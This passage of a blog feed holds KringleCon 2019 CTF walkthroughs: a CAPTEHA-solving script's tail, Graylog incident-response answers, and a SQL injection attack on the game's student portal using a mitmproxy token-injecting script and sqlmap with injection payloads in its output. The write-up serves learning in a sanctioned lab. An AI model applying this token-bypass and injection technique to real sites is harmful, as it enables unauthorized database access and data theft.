&lt;span class="n">threading&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Thread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">target&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">predict_image&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">sess&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">graph&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">image_bytes&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">image_uuid&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">labels&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">input_operation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output_operation&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">start&lt;/span>&lt;span class="p">()&lt;/span>
&lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Waiting For Threads to Finish...&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="k">while&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">qsize&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b64_images&lt;/span>&lt;span class="p">):&lt;/span>
&lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mf">0.001&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1">#getting a list of all threads returned results&lt;/span>
&lt;span class="n">prediction_results&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">qsize&lt;/span>&lt;span class="p">())]&lt;/span>
&lt;span class="c1">#do something with our results... Like print them to the screen.&lt;/span>
&lt;span class="n">predicted_uuids&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">prediction&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">prediction_results&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="n">prediction&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;prediction&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">challenge_image_types&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="n">predicted_uuids&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">prediction&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;image_uuid&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>When you run the script, don&amp;rsquo;t forget to edit the &lt;code>yourREALemailAddress&lt;/code> variable as the Frido Sleigh contest will send you the code at this real email address.&lt;/p>
&lt;p>Once you receive the email from them, it will contain a code that you have to enter in your personal badge for solving this objective. Looks something like this: &lt;code>8Ia8LiZEwvyZr2WO&lt;/code>. After you submit it, Krampus will finally know that he can trust you, and is now ready to share some further information with you:&lt;/p>
&lt;blockquote>
&lt;p>You did it! Thank you so much. I can trust you!
To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels.
As for those scraps of paper, I scanned those and put the images on my server.
I then threw the paper away.
Unfortunately, I managed to lock out my account on the server.
Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans?
I give you permission to hack into it, solving Objective 9 in your badge.
And, as long as you&amp;rsquo;re traveling around, be sure to solve any other challenges you happen across.&lt;/p>
&lt;/blockquote></description></item><item><title>Paper Scraps Hunting</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective9/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective9/</guid><description>&lt;h2 id="graylog-to-the-rescue">Graylog to the rescue&lt;/h2>
&lt;p>After solving the CAPTEHA and winnit a lifetime supply of cookiez for Krampus, he provided you with some further clues. He first pointed you to some paper scraps he found in the vents, which he collected by using the Turtle Doves&amp;hellip; Then he mentions that he stored some scanned copies of the paper scrps on his server at: &lt;strong>studentportal.elfu.org&lt;/strong>. However, he forgot his access credentials, so he asked you to hack your way in and retrieve those images:&lt;/p>
&lt;blockquote>
&lt;p>Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there.
What is the name of Santa&amp;rsquo;s cutting-edge sleigh guidance system?
For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.&lt;/p>
&lt;/blockquote>
&lt;p>If you need, you can get further hints by visiting Pepper Minstix in the dormitory. Luckily you don&amp;rsquo;t need to walk anymore, as Krampus updated your badge with a new firmware, that lets you teleport within the Elf University Campus&amp;hellip; How cool is that!&lt;/p>
&lt;p>Once you talk with Minstix, he says hge will help you out, but only after you help him with some issue he is facing:&lt;/p>
&lt;p>&lt;img src="../images/obj9-minstix.png" alt="Pepper Minstix in DORM">&lt;/p>
&lt;blockquote>
&lt;p>It&amp;rsquo;s me - Pepper Minstix.
Normally I&amp;rsquo;m jollier, but this Graylog has me a bit mystified.
Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.
Some Elf U computers were hacked, and I&amp;rsquo;ve been tasked with performing incident response.
Can you help me fill out the incident response report using our instance of Graylog?
It&amp;rsquo;s probably helpful if you know a few things about Graylog.
Event IDs and Sysmon are important too. Have you spent time with those?
Don&amp;rsquo;t worry - I&amp;rsquo;m sure you can figure this all out for me!
Click on the All messages Link to access the Graylog search interface!
Make sure you are searching in all messages!
The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.
Login with the username elfustudent and password elfustudent.&lt;/p>
&lt;/blockquote>
&lt;p>To solve this technical challenge, you need to get familiar with &lt;strong>Graylog&lt;/strong>. You can do this either via the in-game terminal or by browsing to &lt;strong>graylog.elfu.org&lt;/strong> in a new tab. In order to submit your answers though, you need to open the terminal and hover over the bottom right corner or the input forms to appear (also available at this
&lt;a href="https://report.elfu.org/" target="_blank" rel="noopener">link&lt;/a>). For the information gathering it may be easier to navigate to the service in a separate browser tab.&lt;/p>
&lt;p>To get the hints, you will need to answer these 10 questions below:&lt;/p>
&lt;h4 id="q1---what-is-the-path-and-filename-of-the-first-malicious-file-downloaded-by-minty">Q1 - What is the path and filename of the first malicious file downloaded by Minty?&lt;/h4>
&lt;p>This can be easily found by searching for the username &lt;strong>minty&lt;/strong>, enabling TargetFileName column and browsing through the log entries later in time (towards the end of all logs available). This will eventually lead you the following answer &lt;strong>C:\Users\minty\Downloads\cookie_recipe.exe&lt;/strong>.&lt;/p>
&lt;h4 id="q2---what-was-the-ipport-the-malicious-file-connected-to-first">Q2 - What was the ip:port the malicious file connected to first?&lt;/h4>
&lt;p>Within the same search results, enable columns DesinationIpAddress and DestinationPort and look for values that seem anomalous. I found the IP &lt;strong>192.168.247.175&lt;/strong> and ports &lt;strong>4443&lt;/strong> and &lt;strong>4444&lt;/strong> that seemed out of the ordinary, so I tried and the combination &lt;strong>192.168.247.175:4444&lt;/strong> was accepted as correct answer.&lt;/p>
&lt;h4 id="q3---what-was-the-first-command-executed-by-the-attacker">Q3 - What was the first command executed by the attacker?&lt;/h4>
&lt;p>If you examine the log entry right after the one which was proiding the IP and Port for the previous answer, you will see this CommandLine property: &lt;strong>C:\Windows\system32\cmd.exe /c &amp;ldquo;whoami &amp;ldquo;&lt;/strong>. Seems awfully suspicious, and indeed it holds the correct answer: &lt;strong>whoami&lt;/strong>.&lt;/p>
&lt;h4 id="q4---what-is-the-one-word-service-name-the-attacker-used-to-escalate-privileges">Q4 - What is the one-word service name the attacker used to escalate privileges?&lt;/h4>
&lt;p>So to answer this I first had to Google how services can be started on Windows systems, and found that it is usually done by calling some command that stats like &lt;strong>sc start &amp;hellip;&lt;/strong> so I searched the Graylog server for this string and found a lot of entries involving the &lt;strong>webexservice&lt;/strong> which was the correct answer.&lt;/p>
&lt;h4 id="q5---what-is-the-path--filename-of-the-binary-ran-by-the-attacker-to-dump-credentials">Q5 - What is the path &amp;amp; filename of the binary ran by the attacker to dump credentials?&lt;/h4>
&lt;p>For this question you should search for text &lt;strong>exe&lt;/strong> and within the results look for the string &lt;strong>password&lt;/strong>. You should find a suspiciously named &lt;strong>.exe&lt;/strong> called by someone, which holds the correct answer: &lt;strong>C:\cookie.exe&lt;/strong>.&lt;/p>
&lt;h4 id="q6---which-account-name-was-used-to-pivot-to-another-machine">Q6 - Which account name was used to pivot to another machine?&lt;/h4>
&lt;p>To answer this, you should notice that not all log entries have the &lt;strong>AccountName&lt;/strong> value, so you should search for &lt;strong>&lt;em>exists&lt;/em>: AccountName&lt;/strong> which returns log entries where this value exists. In the results you will find &lt;strong>minty&lt;/strong> quite often but this would not be accepted, so try some others from the results, perhaps &lt;strong>alabaster&lt;/strong> will work&amp;hellip; :)&lt;/p>
&lt;h4 id="q7---what-is-the-time-hhmmss-the-attacker-makes-a-remote-desktop-connection-to-another-machine">Q7 - What is the time (HH:MM:SS) the attacker makes a Remote Desktop connection to another machine?&lt;/h4>
&lt;p>For this I had to learn that in Windows environment the act of opening a remote connection via RDP causes an event to be generated with ID of 4624 and LogonType 10, so I searched for these values in Graylog with &lt;strong>EventID: 4624 AND LogonType:10&lt;/strong> and found the correct timestamp to be: &lt;strong>06:04:28&lt;/strong>.&lt;/p>
&lt;h4 id="q8---what-is-the-sourcehostnamedestinationhostnamelogontype-of-this-connection">Q8 - What is the &amp;lsquo;SourceHostName,DestinationHostname,LogonType&amp;rsquo; of this connection?&lt;/h4>
&lt;p>For answering this question, you should look for LogonType 3 and the existence of Source and Destination hostnames. I made the following search query: &lt;strong>LogonType: 3 AND &lt;em>exists&lt;/em>:SourceHostName AND &lt;em>exists&lt;/em>:DestinationHostname&lt;/strong> which gave the following solution: &lt;strong>ELFU-RES-WKS2,elfu-res-wks3,3&lt;/strong> (after several rounds of trial and error based on search results).&lt;/p>
&lt;h4 id="q9---what-is-the-path--filename-of-the-secret-document-being-transferred-from-the-third-host-to-the-second-host">Q9 - What is the path &amp;amp; filename of the secret document being transferred from the third host to the second host?&lt;/h4>
&lt;p>First you should look for the account &lt;strong>alabaster&lt;/strong> because the attacked was disguised under this attack, then look in the result and look for a pdf file that seems suspicious. Correct answer will be: &lt;strong>C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf&lt;/strong>.&lt;/p>
&lt;h4 id="10---what-is-the-ipv4-address-the-secret-research-document-was-exfiltrated-to">10 - What is the IPv4 address the secret research document was exfiltrated to?&lt;/h4>
&lt;p>To answer this, I listed all log entries, went the the very and and turned on CommandLine and TargetIpAddress columns, in order to see that PowerShell command was used to upload this secret pdf to some website. This revealed the target IP address: &lt;strong>104.22.3.84&lt;/strong>.&lt;/p>
&lt;p>So now the questions are answered and Pepper is ready to share some useful hints:&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s it - hooray!
Have you had any luck retrieving scraps of paper from the Elf U server?
You might want to look into SQL injection techniques.
OWASP is always a good resource for web attacks.
For blind SQLi, I&amp;rsquo;ve heard Sqlmap is a great tool.
In certain circumstances though, you need custom tamper scripts to get things going!&lt;/p>
&lt;/blockquote>
&lt;h2 id="main-objective">Main objective&lt;/h2>
&lt;p>So Pepper Minstix hinted at the
&lt;a href="http://sqlmap.org/" target="_blank" rel="noopener">tool&lt;/a> called &lt;strong>sqlmap&lt;/strong> which can help us exploit vulnerable databases tied to web applications that accept input from the users. This is quite a valuable hint. Further information in the hint include:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=0T6-DQtzCgM&amp;amp;feature=youtu.be">https://www.youtube.com/watch?v=0T6-DQtzCgM&amp;amp;feature=youtu.be&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.owasp.org/index.php/SQL_Injection">https://www.owasp.org/index.php/SQL_Injection&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pen-testing.sans.org/blog/2017/10/13/sqlmap-tamper-scripts-for-the-win">https://pen-testing.sans.org/blog/2017/10/13/sqlmap-tamper-scripts-for-the-win&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="../images/obj9-portal.png" alt="Student portal">&lt;/p>
&lt;p>The given target (&lt;strong>studentportal.elfu.org&lt;/strong>) has several endpoints, which could be targeted with a Web App exploit:&lt;/p>
&lt;ul>
&lt;li>&lt;code>studentportal.elfu.org/index.php&lt;/code>&lt;/li>
&lt;li>&lt;code>studentportal.elfu.org/students.php&lt;/code>&lt;/li>
&lt;li>&lt;code>studentportal.elfu.org/apply.php&lt;/code>&lt;/li>
&lt;li>&lt;code>studentportal.elfu.org/check.php&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>The first and the second do not accept any input, so they are not going to be very useful for this objective, however the &lt;strong>apply.php&lt;/strong> and &lt;strong>check.php&lt;/strong> do accept user input through HTML forms. Of these two, I first decided to take a look at the latter, as it only has one input field, which can be enough for the purpose. Do note that the HTML form in the &lt;strong>check.php&lt;/strong> endpoint has a different target specified: &lt;strong>application-check.php&lt;/strong>, so the &lt;strong>sqlmap&lt;/strong> attack should be directed to this URL instead of &lt;strong>check.php&lt;/strong>.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">form&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;check&amp;#34;&lt;/span> &lt;span class="na">action&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;/application-check.php&amp;#34;&lt;/span> &lt;span class="na">method&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;get&amp;#34;&lt;/span> &lt;span class="na">onsubmit&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;submitApplication()&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>Check Application Status&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">label&lt;/span> &lt;span class="na">for&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;inputEmail&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>Elf Mail Address&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">label&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">input&lt;/span> &lt;span class="na">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;elfmail&amp;#34;&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;email&amp;#34;&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;inputEmail&amp;#34;&lt;/span> &lt;span class="na">placeholder&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;Email address&amp;#34;&lt;/span> &lt;span class="na">required&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;&amp;#34;&lt;/span> &lt;span class="na">autofocus&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">input&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;token&amp;#34;&lt;/span> &lt;span class="na">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;token&amp;#34;&lt;/span> &lt;span class="na">value&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">input&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;submit&amp;#34;&lt;/span> &lt;span class="na">value&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;Check Status&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">form&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>In the HTML source code, notice that the submission form also has a hidden field called &lt;strong>token&lt;/strong>, that also gets sent along the request when the button is clicked. Searching a bit further in the page source you can see a short javascript code which handles the update of this input field and the actual form submission:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="kd">function&lt;/span> &lt;span class="nx">submitApplication&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Submitting&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="nx">elfSign&lt;/span>&lt;span class="p">();&lt;/span>
&lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;check&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">submit&lt;/span>&lt;span class="p">();&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="kd">function&lt;/span> &lt;span class="nx">elfSign&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;token&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="kr">const&lt;/span> &lt;span class="nx">Http&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">XMLHttpRequest&lt;/span>&lt;span class="p">();&lt;/span>
&lt;span class="kr">const&lt;/span> &lt;span class="nx">url&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;/validator.php&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="nx">Http&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="nx">http&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">null&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">Http&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="mi">200&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">Http&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">responseText&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="nx">s&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">value&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">Http&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">responseText&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So now you know that when you call sqlmap and attack &lt;strong>elfmail&lt;/strong>, you also need to set up some kind script that automatically fetches the token and inserts it into the requests, as it will be rejected otherwise. My first idea was to write a &lt;strong>tamper&lt;/strong> script for sqlmap, which defines the custom transformation that inserts the token into the payload of each request. However, for some reason I could not get this tamper script to work, I always received &lt;strong>Invalid or expired token&lt;/strong> error for every request generated by sqlmap.&lt;/p>
&lt;p>So next, I looked around on the net for an alternative solution, and found the &lt;strong>mitmproxy&lt;/strong>
&lt;a href="https://mitmproxy.org" target="_blank" rel="noopener">tool&lt;/a> which has a nice python API that helped with the token injection. The github repo for the &lt;strong>mitmproxy&lt;/strong> project has several useful
&lt;a href="https://github.com/mitmproxy/mitmproxy/blob/master/examples/simple/modify_querystring.py" target="_blank" rel="noopener">examples&lt;/a>, which helped me learn enough of the API to get going with the token injecting service. The script I used was very simple and easy to understand:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="kn">from&lt;/span> &lt;span class="nn">mitmproxy&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">http&lt;/span>
&lt;span class="kn">import&lt;/span> &lt;span class="nn">requests&lt;/span>
&lt;span class="k">def&lt;/span> &lt;span class="nf">request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flow&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">HTTPFlow&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="bp">None&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="c1"># obtain the token from the validator.php endpoint&lt;/span>
&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;https://studentportal.elfu.org/validator.php&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1"># insert the token into the request that is intercepted by mitmproxy&lt;/span>
&lt;span class="n">flow&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;token&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">content&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;utf-8&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Below is a sample screenshot of the &lt;strong>mitmproxy&lt;/strong> console when looking at a sample request that was already injected with the necessary token:&lt;/p>
&lt;p>&lt;img src="../images/obj9-mitmreq.png" alt="Student portal">&lt;/p>
&lt;p>Now that the proxy is set up (IP: &lt;strong>192.168.56.7&lt;/strong>, PORT: &lt;strong>8080&lt;/strong>), it was time to let sqlmap loose on the database and find some vulnerabilities. To start the scan you need to run the following command specifying the URL and the query parameter you want to exploit (which was &lt;strong>-p elfmail&lt;/strong> in this case):&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">~/sqlmap ▶ python sqlmap.py --proxy&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;http://192.168.56.7:8080&amp;#39;&lt;/span> --url&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;https://studentportal.elfu.org/application-check.php?elfmail=email@example.com&amp;#34;&lt;/span> -p elfmail -risk &lt;span class="m">3&lt;/span>
___
__H__
___ ___&lt;span class="o">[&lt;/span>.&lt;span class="o">]&lt;/span>_____ ___ ___ &lt;span class="o">{&lt;/span>1.3.12.34#dev&lt;span class="o">}&lt;/span>
&lt;span class="p">|&lt;/span>_ -&lt;span class="p">|&lt;/span> . &lt;span class="o">[(]&lt;/span> &lt;span class="p">|&lt;/span> .&lt;span class="s1">&amp;#39;| . |
&lt;/span>&lt;span class="s1">|___|_ [)]_|_|_|__,| _|
&lt;/span>&lt;span class="s1"> |_|V... |_| http://sqlmap.org
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">[*] starting @ 10:40:06 /2020-01-01/
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">[10:40:06] [INFO] testing connection to the target URL
&lt;/span>&lt;span class="s1">[10:40:09] [INFO] target URL content is stable
&lt;/span>&lt;span class="s1">[10:40:10] [INFO] heuristic (basic) test shows that GET parameter &amp;#39;&lt;/span>elfmail&lt;span class="s1">&amp;#39; might be injectable (possible DBMS: &amp;#39;&lt;/span>MySQL&lt;span class="s1">&amp;#39;)
&lt;/span>&lt;span class="s1">[10:40:11] [INFO] heuristic (XSS) test shows that GET parameter &amp;#39;&lt;/span>elfmail&lt;span class="s1">&amp;#39; might be vulnerable to cross-site scripting (XSS) attacks
&lt;/span>&lt;span class="s1">[10:40:11] [INFO] testing for SQL injection on GET parameter &amp;#39;&lt;/span>elfmail&lt;span class="s1">&amp;#39;
&lt;/span>&lt;span class="s1">it looks like the back-end DBMS is &amp;#39;&lt;/span>MySQL&lt;span class="s1">&amp;#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n]
&lt;/span>&lt;span class="s1">for the remaining tests, do you want to include all tests for &amp;#39;&lt;/span>MySQL&lt;span class="s1">&amp;#39; extending provided level (1) value? [Y/n]
&lt;/span>&lt;span class="s1">[10:40:25] [INFO] testing &amp;#39;&lt;/span>AND boolean-based blind - WHERE or HAVING clause&lt;span class="s1">&amp;#39;
&lt;/span>&lt;span class="s1">[10:40:31] [INFO] GET parameter &amp;#39;&lt;/span>elfmail&lt;span class="s1">&amp;#39; appears to be &amp;#39;&lt;/span>AND boolean-based blind - WHERE or HAVING clause&lt;span class="s1">&amp;#39; injectable (with --string=&amp;#34;Your application is still pending!&amp;#34;)
&lt;/span>&lt;span class="s1">[...REDACTED FOR BREVITY...]
&lt;/span>&lt;span class="s1">[10:46:19] [INFO] testing &amp;#39;&lt;/span>MySQL UNION query &lt;span class="o">(&lt;/span>random number&lt;span class="o">)&lt;/span> - &lt;span class="m">81&lt;/span> to &lt;span class="m">100&lt;/span> columns&lt;span class="s1">&amp;#39;
&lt;/span>&lt;span class="s1">GET parameter &amp;#39;&lt;/span>elfmail&lt;span class="s1">&amp;#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N]
&lt;/span>&lt;span class="s1">sqlmap identified the following injection point(s) with a total of 279 HTTP(s) requests:
&lt;/span>&lt;span class="s1">---
&lt;/span>&lt;span class="s1">Parameter: elfmail (GET)
&lt;/span>&lt;span class="s1"> Type: boolean-based blind
&lt;/span>&lt;span class="s1"> Title: AND boolean-based blind - WHERE or HAVING clause
&lt;/span>&lt;span class="s1"> Payload: elfmail=asd&amp;#39;&lt;/span> AND &lt;span class="nv">7313&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">7313&lt;/span> AND &lt;span class="s1">&amp;#39;PMOS&amp;#39;&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;PMOS
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1"> Type: error-based
&lt;/span>&lt;span class="s1"> Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
